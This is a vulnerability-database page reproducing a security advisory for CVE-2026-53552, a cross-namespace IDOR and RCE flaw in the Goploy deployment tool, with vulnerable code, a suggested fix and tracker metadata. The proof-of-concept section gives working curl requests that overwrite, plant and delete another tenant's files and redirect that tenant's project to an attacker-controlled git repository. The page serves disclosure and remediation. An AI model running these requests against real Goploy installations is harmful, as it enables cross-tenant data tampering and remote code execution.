CVE-2026-53552

CRITICALPre-NVD 9.69.6
EchelonGraph scoreHIGH confidence

Score 9.6 from GitHub Security Advisory (severity: CRITICAL) published 2026-07-07. the CNA's CVSS baseline 9.6; sources differ by 0.0.

Triggered by: GitHub Security Advisory CVSS
Sources: cna:github_m, ghsa
9.6
EchelonGraph verdictPlan a fixSerious severity, but no confirmed exploitation yet.
  • High severity, but no confirmed exploitation yet
CISA-KEV: Not listedEPSS: CVSS: 9.6Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers

Summary

Project.AddFile, Project.EditFile, Project.RemoveFile, and Project.Edit in cmd/server/api/project/handler.go accept a project or project-file row id from the JSON body and act on it without checking that the project belongs to the caller's namespace. The corresponding model.ProjectFile.GetData and model.Project.GetData queries filter only by row id. A user holding the manager role (or any role that includes the FileSync / EditProject permission) in their own namespace can read, write, or delete files in any project across the install, and can rewrite any project's git remote URL by submitting the foreign id in the body. The git-URL primitive escalates to RCE on the next deploy because Edit runs git remote set-url on the project's working tree.

Affected

zhenorzz/goploy develop HEAD as of 2026-05-27. Verified against the zhenorzz/goploy:1.17.5 Docker image (docker.io/zhenorzz/goploy@sha256:69d08e1d16d7a7167426c89456c4bcef8e077a16554a4067ff258fff26d5cd44).

The four handlers and the model lookups have been in this shape across the file API and project metadata API.

Vulnerable code

cmd/server/api/project/handler.go::AddFile (creates file under any project's directory; body controls projectId):

func (Project) AddFile(gp *server.Goploy) server.Response {
    type ReqData struct {
        ProjectID int64  json:"projectId" validate:"required,gt=0"
        Content   string json:"content" validate:"required"
        Filename  string json:"filename" validate:"required"
    }
    var reqData ReqData
    if err := gp.Decode(&reqData); err != nil { ... }

filePath := path.Join(config.GetProjectFilePath(reqData.ProjectID), reqData.Filename) // ... os.Create(filePath); file.WriteString(reqData.Content) id, err := model.ProjectFile{ProjectID: reqData.ProjectID, Filename: reqData.Filename}.AddRow() }

cmd/server/api/project/handler.go::EditFile (overwrites file content; body controls file id, server derives project from the file row):

func (Project) EditFile(gp *server.Goploy) server.Response {
    type ReqData struct {
        ID      int64  json:"id" validate:"required,gt=0"
        Content string json:"content" validate:"required"
    }
    var reqData ReqData
    if err := gp.Decode(&reqData); err != nil { ... }

projectFileData, err := model.ProjectFile{ID: reqData.ID}.GetData() // ... os.Create(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)) file.WriteString(reqData.Content) }

cmd/server/api/project/handler.go::RemoveFile (deletes file row + on-disk file by body id):

func (Project) RemoveFile(gp *server.Goploy) server.Response {
    type ReqData struct {
        ProjectFileID int64 json:"projectFileId" validate:"required,gt=0"
    }
    var reqData ReqData
    if err := gp.Decode(&reqData); err != nil { ... }
    projectFileData, err := model.ProjectFile{ID: reqData.ProjectFileID}.GetData()
    if err := os.Remove(path.Join(config.GetProjectFilePath(projectFileData.ProjectID), projectFileData.Filename)); err != nil { ... }
}

cmd/server/api/project/handler.go::Edit (updates any project's metadata; on URL change runs git remote set-url in the project working tree):

func (Project) Edit(gp *server.Goploy) server.Response {
    // ... ReqData has ID, Name, URL, Branch, Script, etc.
    projectData, err := model.Project{ID: reqData.ID}.GetData()
    model.Project{ID: reqData.ID, Name: reqData.Name, URL: reqData.URL, ...}.EditRow()
    if reqData.URL != projectData.URL {
        srcPath := config.GetProjectPath(projectData.ID)
        cmd := exec.Command("git", "remote", "set-url", "origin", reqData.URL)
        cmd.Dir = srcPath
    }
}

internal/model/project_file.go::ProjectFile.GetData filters only by row id, no namespace join:

func (pf ProjectFile) GetData() (ProjectFile, error) {
    err := sq.
        Select("id, project_id, filename, insert_time, update_time").
        From(projectFileTable).
        Where(sq.Eq{"id": pf.ID}).
        ...
}

internal/server/route.go::Route.hasPermission checks only namespace-level permission ids; nothing in the request flow verifies that the body-supplied project id belongs to gp.Namespace.ID:

func (r Route) hasPermission(permissionIDs map[int64]struct{}) error {
    if len(r.permissionIDs) == 0 { return nil }
    for _, permissionID := range r.permissionIDs {
        if _, ok := permissionIDs[permissionID]; ok { return nil }
    }
    return errors.New("no permission")
}

Reachable

Any logged-in user assigned the manager role in their own namespace can call /project/addFile, /project/editFile, /project/removeFile, and /project/edit. The seeded manager role (role.id = 1) is granted both FileSync (permission.id = 68) and EditProject (permission.id = 17) by database/goploy.sql. Multi-tenant deployments typically assign manager to each tenant's project owner; once a tenant's manager holds these permissions in their own namespace, they hold them globally for these four endpoints.

Proof of concept

Setup against the published Docker image:

docker network create goploy-net
docker run -d --name goploy-mysql --network goploy-net \
    -e MYSQL_ROOT_PASSWORD=goploy123 -e MYSQL_DATABASE=goploy \
    mysql:8.0 --default-authentication-plugin=mysql_native_password

Wait for MySQL, then load schema

docker cp database/goploy.sql goploy-mysql:/tmp/goploy.sql docker exec goploy-mysql sh -c 'mysql -uroot -pgoploy123 goploy < /tmp/goploy.sql'

Mount goploy.toml pointing DB at goploy-mysql:3306

docker run -d --name goploy-app --network goploy-net -p 18080:80 \ -v $PWD/repo:/opt/goploy/repository \ zhenorzz/goploy:1.17.5

Set up two namespaces and two non-super-manager users, each assigned manager (role_id=1) only in their own namespace:

# Admin login (default account admin / admin!@# requires first-login change)
curl -s -c /tmp/admin.jar -X POST http://localhost:18080/user/login \
    -H 'Content-Type: application/json' \
    -d '{"account":"admin","password":"admin!@#","newPassword":"Admin!@#2026"}'

ADMIN_HDR='-b /tmp/admin.jar -H G-N-ID:1 -H Content-Type:application/json'

Create NS_B

curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/add -d '{"name":"ns_b"}'

→ {"data":{"id":2}}

Create alice (id=2) and bob (id=3)

curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \ -d '{"account":"alice","password":"Alice!@#2026","name":"Alice","contact":"","superManager":0}' curl -s $ADMIN_HDR -X POST http://localhost:18080/user/add \ -d '{"account":"bob","password":"Bob!@#2026","name":"Bob","contact":"","superManager":0}'

Assign alice → NS_A (id=1), bob → NS_B (id=2), both as manager (role_id=1)

curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \ -d '{"namespaceId":1,"userIds":[2],"roleId":1}' curl -s $ADMIN_HDR -X POST http://localhost:18080/namespace/addUser \ -d '{"namespaceId":2,"userIds":[3],"roleId":1}'

As admin in NS_A, create project alice-prod (id=1) with file alice-secrets.yml (id=1)

curl -s $ADMIN_HDR -X POST http://localhost:18080/project/add \ -d '{"name":"alice-prod","repoType":"git","url":"https://github.com/zhenorzz/goploy.git", "path":"/tmp/deploy/alice","environment":1,"branch":"master","transferType":"rsync", "transferOption":"-rtv","deployServerMode":"serial", "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""}, "deployFinish":{"mode":"","content":""}}}' curl -s $ADMIN_HDR -X POST http://localhost:18080/project/addFile \ -d '{"projectId":1,"filename":"alice-secrets.yml","content":"# Alice secret\napi_key: ALICE_API_KEY_2026\n"}'

Bob logs in (first-login change)

curl -s -c /tmp/bob.jar -X POST http://localhost:18080/user/login \ -H 'Content-Type: application/json' \ -d '{"account":"bob","password":"Bob!@#2026","newPassword":"BobBob!@#2026"}'

BOB_HDR='-b /tmp/bob.jar -H G-N-ID:2 -H Content-Type:application/json'

Negative control: Bob's own namespace has no projects.

curl -s $BOB_HDR "http://localhost:18080/project/getList?page=1&rows=100"

→ {"code":0,"data":{"list":[]}}

Exploit 1 — Bob overwrites Alice's file content:

curl -s $BOB_HDR -X PUT http://localhost:18080/project/editFile \
    -d '{"id":1,"content":"OWNED BY BOB\nattacker_namespace: ns_b\n"}'

→ {"code":0,"message":"","data":null}

docker exec goploy-app cat /opt/goploy/repository/repository/project-file/project_1/alice-secrets.yml

OWNED BY BOB

attacker_namespace: ns_b

Exploit 2 — Bob plants a new file in Alice's project directory:

curl -s $BOB_HDR -X POST http://localhost:18080/project/addFile \
    -d '{"projectId":1,"filename":".env.attacker","content":"PWN=bob_from_ns_b"}'

→ {"code":0,"message":"","data":{"id":2}}

docker exec goploy-app ls /opt/goploy/repository/repository/project-file/project_1/

.env.attacker alice-secrets.yml

Exploit 3 — Bob deletes Alice's file:

curl -s $BOB_HDR -X DELETE http://localhost:18080/project/removeFile \
    -d '{"projectFileId":1}'

→ {"code":0,"message":"","data":null}

alice-secrets.yml is gone from project_1/.

Exploit 4 — Bob rewrites Alice's project git remote URL. On the next deploy, goploy runs git -C remote set-url origin and clones / pulls attacker code, leading to RCE under goploy's user:

curl -s $BOB_HDR -X PUT http://localhost:18080/project/edit \
    -d '{"id":1,"name":"alice-prod","repoType":"git",
         "url":"[email protected]:attacker/payload.git",
         "path":"/tmp/deploy/alice","environment":1,"branch":"master",
         "transferType":"rsync","transferOption":"-rtv","deployServerMode":"serial",
         "script":{"afterPull":{"mode":"","content":""},"afterDeploy":{"mode":"","content":""},
                   "deployFinish":{"mode":"","content":""}}}'

→ {"code":0,"message":"","data":null}

docker exec goploy-mysql mysql -uroot -pgoploy123 goploy \ -e "SELECT name,url FROM project WHERE id=1;"

alice-prod | [email protected]:attacker/payload.git

Positive control: Bob editing a file in his own namespace (after creating one) goes through the same code path and succeeds normally — the patch must keep that working.

Suggested fix

Add a namespace-scoped variant of GetData so the model layer requires (id, namespace_id) and switch the four handlers over.

internal/model/project_file.go:

func (pf ProjectFile) GetDataInNamespace(namespaceID int64) (ProjectFile, error) {
    var projectFile ProjectFile
    err := sq.
        Select("pf.id, pf.project_id, pf.filename, pf.insert_time, pf.update_time").
        From(projectFileTable + " pf").
        Join("project p ON p.id = pf.project_id").
        Where(sq.Eq{"pf.id": pf.ID, "p.namespace_id": namespaceID}).
        RunWith(DB).
        QueryRow().
        Scan(&projectFile.ID, &projectFile.ProjectID, &projectFile.Filename,
             &projectFile.InsertTime, &projectFile.UpdateTime)
    return projectFile, err
}

internal/model/project.go: add a parallel Project.GetDataInNamespace that joins on namespace_id.

cmd/server/api/project/handler.go:

  • EditFile and RemoveFile switch to model.ProjectFile{ID: ...}.GetDataInNamespace(gp.Namespace.ID).
  • AddFile calls a new model.Project{ID: reqData.ProjectID}.GetDataInNamespace(gp.Namespace.ID) precheck before os.Create and AddRow.
  • Edit calls model.Project{ID: reqData.ID}.GetDataInNamespace(gp.Namespace.ID) before EditRow.

sql.ErrNoRows from the namespace-scoped lookup becomes the correct denial for any cross-namespace id. The same pattern should be applied to other body-id consumers in this file (Remove, SetAutoDeploy, UploadFile, AddTask, EditProcess, etc.) but the four endpoints above are the immediately exploitable ones.

Patch

Fix proposed in https://github.com/zhenorzz/goploy-ghsa-26rh-24rg-j3vv/pull/1. The PR diff adds the namespace-scoped model variants and switches the four exposed handlers to use them.

Credit

Reported by tonghuaroot.

CVSS v3
9.6
EG Score
9.6(high)
EPSS
KEV
Not listed

Published

July 7, 2026

Last Modified

July 7, 2026

Vendor Advisories for CVE-2026-53552(1)

These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

Patch Availability(1)

Vendor / EcosystemFixed in / PatchReleasedSource
gogithub.com/zhenorzz/goployghsa

Patches are aggregated from vendor advisories (Red Hat, Microsoft, Cisco, GitHub) and package ecosystems (OSV, GHSA). Multiple rows for the same upstream release have been deduplicated.

Weakness Classification(2)

MITRE Common Weakness Enumeration — the root-cause categories this CVE belongs to.

Data Freshness Timeline

(refreshed 68× in last 7d / 68× in last 30d)

Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

  1. 2026-07-13 08:21 UTCEG score recompute
  2. 2026-07-13 08:21 UTCGHSA enrichment
  3. 2026-07-13 04:29 UTCEG score recompute
  4. 2026-07-13 04:28 UTCGHSA enrichment
  5. 2026-07-13 00:34 UTCEG score recompute
  6. 2026-07-13 00:34 UTCGHSA enrichment
  7. 2026-07-12 20:42 UTCEG score recompute
  8. 2026-07-12 20:41 UTCGHSA enrichment
  9. 2026-07-12 16:48 UTCEG score recompute
  10. 2026-07-12 16:48 UTCGHSA enrichment
  11. 2026-07-12 12:56 UTCEG score recompute
  12. 2026-07-12 12:56 UTCGHSA enrichment
  13. 2026-07-12 09:03 UTCEG score recompute
  14. 2026-07-12 09:03 UTCGHSA enrichment
  15. 2026-07-12 05:10 UTCEG score recompute
  16. 2026-07-12 05:10 UTCGHSA enrichment
  17. 2026-07-12 01:18 UTCEG score recompute
  18. 2026-07-12 01:18 UTCGHSA enrichment
  19. 2026-07-11 21:26 UTCEG score recompute
  20. 2026-07-11 21:26 UTCGHSA enrichment
  21. 2026-07-11 17:34 UTCEG score recompute
  22. 2026-07-11 17:34 UTCGHSA enrichment
  23. 2026-07-11 13:42 UTCEG score recompute
  24. 2026-07-11 13:42 UTCGHSA enrichment
  25. 2026-07-11 09:49 UTCEG score recompute
Show 43 more
  1. 2026-07-11 09:49 UTCGHSA enrichment
  2. 2026-07-11 05:56 UTCEG score recompute
  3. 2026-07-11 05:56 UTCGHSA enrichment
  4. 2026-07-11 02:04 UTCEG score recompute
  5. 2026-07-11 02:03 UTCGHSA enrichment
  6. 2026-07-10 22:11 UTCEG score recompute
  7. 2026-07-10 22:11 UTCGHSA enrichment
  8. 2026-07-10 18:18 UTCEG score recompute
  9. 2026-07-10 18:17 UTCGHSA enrichment
  10. 2026-07-10 14:25 UTCEG score recompute
  11. 2026-07-10 14:24 UTCGHSA enrichment
  12. 2026-07-10 10:30 UTCEG score recompute
  13. 2026-07-10 10:30 UTCGHSA enrichment
  14. 2026-07-10 06:37 UTCEG score recompute
  15. 2026-07-10 06:37 UTCGHSA enrichment
  16. 2026-07-10 02:43 UTCEG score recompute
  17. 2026-07-10 02:43 UTCGHSA enrichment
  18. 2026-07-09 22:51 UTCEG score recompute
  19. 2026-07-09 22:50 UTCGHSA enrichment
  20. 2026-07-09 18:57 UTCEG score recompute
  21. 2026-07-09 18:57 UTCGHSA enrichment
  22. 2026-07-09 15:05 UTCEG score recompute
  23. 2026-07-09 15:05 UTCGHSA enrichment
  24. 2026-07-09 11:08 UTCEG score recompute
  25. 2026-07-09 11:08 UTCGHSA enrichment
  26. 2026-07-09 07:16 UTCEG score recompute
  27. 2026-07-09 07:16 UTCGHSA enrichment
  28. 2026-07-09 03:23 UTCEG score recompute
  29. 2026-07-09 03:23 UTCGHSA enrichment
  30. 2026-07-08 23:30 UTCEG score recompute
  31. 2026-07-08 23:30 UTCGHSA enrichment
  32. 2026-07-08 19:38 UTCEG score recompute
  33. 2026-07-08 19:38 UTCGHSA enrichment
  34. 2026-07-08 15:45 UTCEG score recompute
  35. 2026-07-08 15:45 UTCGHSA enrichment
  36. 2026-07-08 11:52 UTCEG score recompute
  37. 2026-07-08 11:52 UTCGHSA enrichment
  38. 2026-07-08 07:57 UTCEG score recompute
  39. 2026-07-08 07:57 UTCGHSA enrichment
  40. 2026-07-08 04:05 UTCEG score recompute
  41. 2026-07-08 04:04 UTCGHSA enrichment
  42. 2026-07-08 00:12 UTCEG score recompute
  43. 2026-07-08 00:12 UTCGHSA enrichment

Frequently asked(4)

What is CVE-2026-53552?
CVE-2026-53552 is a critical vulnerability published on July 7, 2026. Goploy: Cross-namespace IDOR and RCE via body-supplied row id in project and project_file handlers Summary Project.AddFile, Project.EditFile, Project.RemoveFile, and Project.Edit in cmd/server/api/project/handler.go accept a project or project-file row id from the JSON body and act on it without…
When was CVE-2026-53552 disclosed?
CVE-2026-53552 was first published in the National Vulnerability Database on July 7, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
What is the CVSS score of CVE-2026-53552?
CVE-2026-53552 has a CVSS v4.0 base score of 9.6 (CNA self-assessment; NVD's own analysis pending).
How do I remediate CVE-2026-53552?
Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-53552, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

Dependency Blast Radius

Explore the affected products and dependency analysis for CVE-2026-53552

Explore →

Is Your Infrastructure Affected by CVE-2026-53552?

EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.